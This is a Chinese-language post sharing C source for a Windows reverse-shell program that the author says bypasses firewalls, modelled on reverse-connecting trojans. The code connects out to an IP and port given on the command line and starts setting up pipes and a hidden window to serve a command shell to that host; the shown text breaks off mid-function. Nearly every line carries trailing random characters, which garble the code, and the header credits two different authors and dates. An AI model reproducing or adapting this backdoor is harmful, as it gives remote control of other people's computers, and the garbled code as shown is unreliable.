这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ||fw!8E
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/* ============================== mln4Vl(l2M
Rebound port in Windows NT WrcmC$ff
By wind,2006/7
+ K`.ck
===============================*/ crOSr/I$
#include 5*+DN
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#include 'J3yJ{
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#pragma comment(lib,"wsock32.lib") -agB ]j
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void OutputShell(); yf!7
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SOCKET sClient; @$!6u0x
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P3-O)m]jv
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void main(int argc,char **argv) SP/b4
{ ?i V}U
WSADATA stWsaData; R)ZzRz|/
int nRet; V8nQ/9R;
SOCKADDR_IN stSaiClient,stSaiServer; 0|J9Btbp
{to(?`Y
if(argc != 3) qA\&%n^j]
{ +nHr+7}
printf("Useage:\n\rRebound DestIP DestPort\n"); B8?9L8M}
return; po\jhfn
} 1L+hI=\O
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WSAStartup(MAKEWORD(2,2),&stWsaData); +H?g9v40
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1h(IrV5 g
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stSaiClient.sin_family = AF_INET; uD?RL~M
stSaiClient.sin_port = htons(0); \At~94
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); QV.>Cy
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) QH4m7M@ni
{ n#Dy
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printf("Bind Socket Failed!\n"); 4M> pHz4
return; l)o!&]2
} 1LSJy*yY
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stSaiServer.sin_family = AF_INET; (gPB@hAv
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B~k{f}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); '3U,UD5EG
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $GU s\
{ ("PZ!z1m1
printf("Connect Error!"); JP0aNu
return; R-dv$z0
} G7|d$!%
OutputShell(); rqiH!R
} rp
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void OutputShell() );AtFP0Y
{ TTl9xs,nO
char szBuff[1024]; jD"nEp-
SECURITY_ATTRIBUTES stSecurityAttributes; p7Zeudmj
OSVERSIONINFO stOsversionInfo; 1%vE 7a>{
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _Dqi#0#40p
STARTUPINFO stStartupInfo; Lg(G&ljE@k
char *szShell; V`LE 'E
PROCESS_INFORMATION stProcessInformation; :h(3Ep
unsigned long lBytesRead; g.Qn,l]X/p
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a@&qdp
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); xu"-Uj1
stSecurityAttributes.lpSecurityDescriptor = 0; S
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stSecurityAttributes.bInheritHandle = TRUE; FN/l/OSb
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +PWm=;tcC
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~,};FI
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \'u+iB
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [.Md_
stStartupInfo.wShowWindow = SW_HIDE; bZgo}`o%
stStartupInfo.hStdInput = hReadPipe; %%n&z6w